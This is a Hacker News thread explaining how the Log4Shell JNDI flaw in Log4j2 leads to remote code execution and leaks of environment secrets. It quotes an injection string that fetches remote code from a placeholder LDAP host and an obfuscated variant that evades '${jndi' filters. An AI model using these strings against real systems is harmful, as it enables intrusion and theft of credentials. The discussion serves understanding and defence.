Hacker News Reader

Comment by jrochkind1 | Hacker News Reader

Not a Java programmer, I still don't really understand how the ability to inject a JNDI lookup to your sever results in an RCE.

OK, an attacker can inject a JNDI lookup, and can control what the JNDI lookup via LDAP returns... I would have thought that whatever it returned would just get inserted as a string into the log output, no big deal. But a remote JNDI lookup can return code that gets executed on the local site somehow? Can anyone explain this?

update this is the best explanation I've found: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

View on HN

The Behavior section in this link explains it in detail: https://en.wikipedia.org/wiki/Log4Shell

"Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."

Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.

Source: https://twitter.com/ceki/status/1469449618316533762

Log4j 1.x is safe from THIS exploit, but reading https://logging.apache.org/log4j/1.2/, there was an exploit discovered 2 years ago that was never fixed on the official branch (https://www.cvedetails.com/cve/CVE-2019-17571/). There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

> There is a workaround of disabling SocketServer so it won't be exploitable, but I believe 1.2.17 still has an RCE in it by default.

Sorry if I'm being dense, but wouldn't the workaround be not enabling SocketServer? AFAIK, it's not used by default, it's something you have to decide to use explicitly.

JNDI supports distributed objects (think CORBA). The client receiving a serialized object of a given (sub)class may not have the class implementation locally available needed to deserialize the object and to execute its methods. The server sending the object may therefore helpfully provide a URL where the class’s byte code can be downloaded. The client can then download the code and execute the object constructor etc. This all assumes a trusted infrastructure, and in principle it can be restricted to such an environment by configuration. It’s just that the default configuration didn’t restrict anything.

The two examples showcase the potential of the RCE. The JNDI endpoint answers with a serialized java class:

a) https://github.com/Cybereason/Logout4Shell where a class is self-healing the log4j vulnerability by reconfiguring it

b) https://twitter.com/marcioalm/status/1470361495405875200 where the payload is opening an application (calculator) on the host system

> whatever it returned would just get inserted as a string into the log output, no big deal.

Once you can inject anything that gets resolved, you have an information disclosure vulnerability unrelated to the RCE.

If I can just DNS resolve any ${env} variable from the JVM, a lot of systems are compromised by just exposing the env or system variables configured for runtime.

Just getting your $AWS_ACCESS_KEY_ID and $AWS_SECRET_ACCESS_KEY env vars can compromise your bucket (sure, that is a really unsafe setup now, but it was almost the standard a few years ago over configuring it explicitly).

So a logging system which will merely resolve a hostname derived from a variable was bad enough to compromise many systems.

The serialization loophole was fixed in a jdk8 update.

https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...

But even with that in place, the information disclosure of java System or env properties is bad enough to break actual systems in prod.

This is actually next level exposure, but I saw people trying to identify Tor node IPs using this method and geolocate them.

Reply on news.ycombinator.com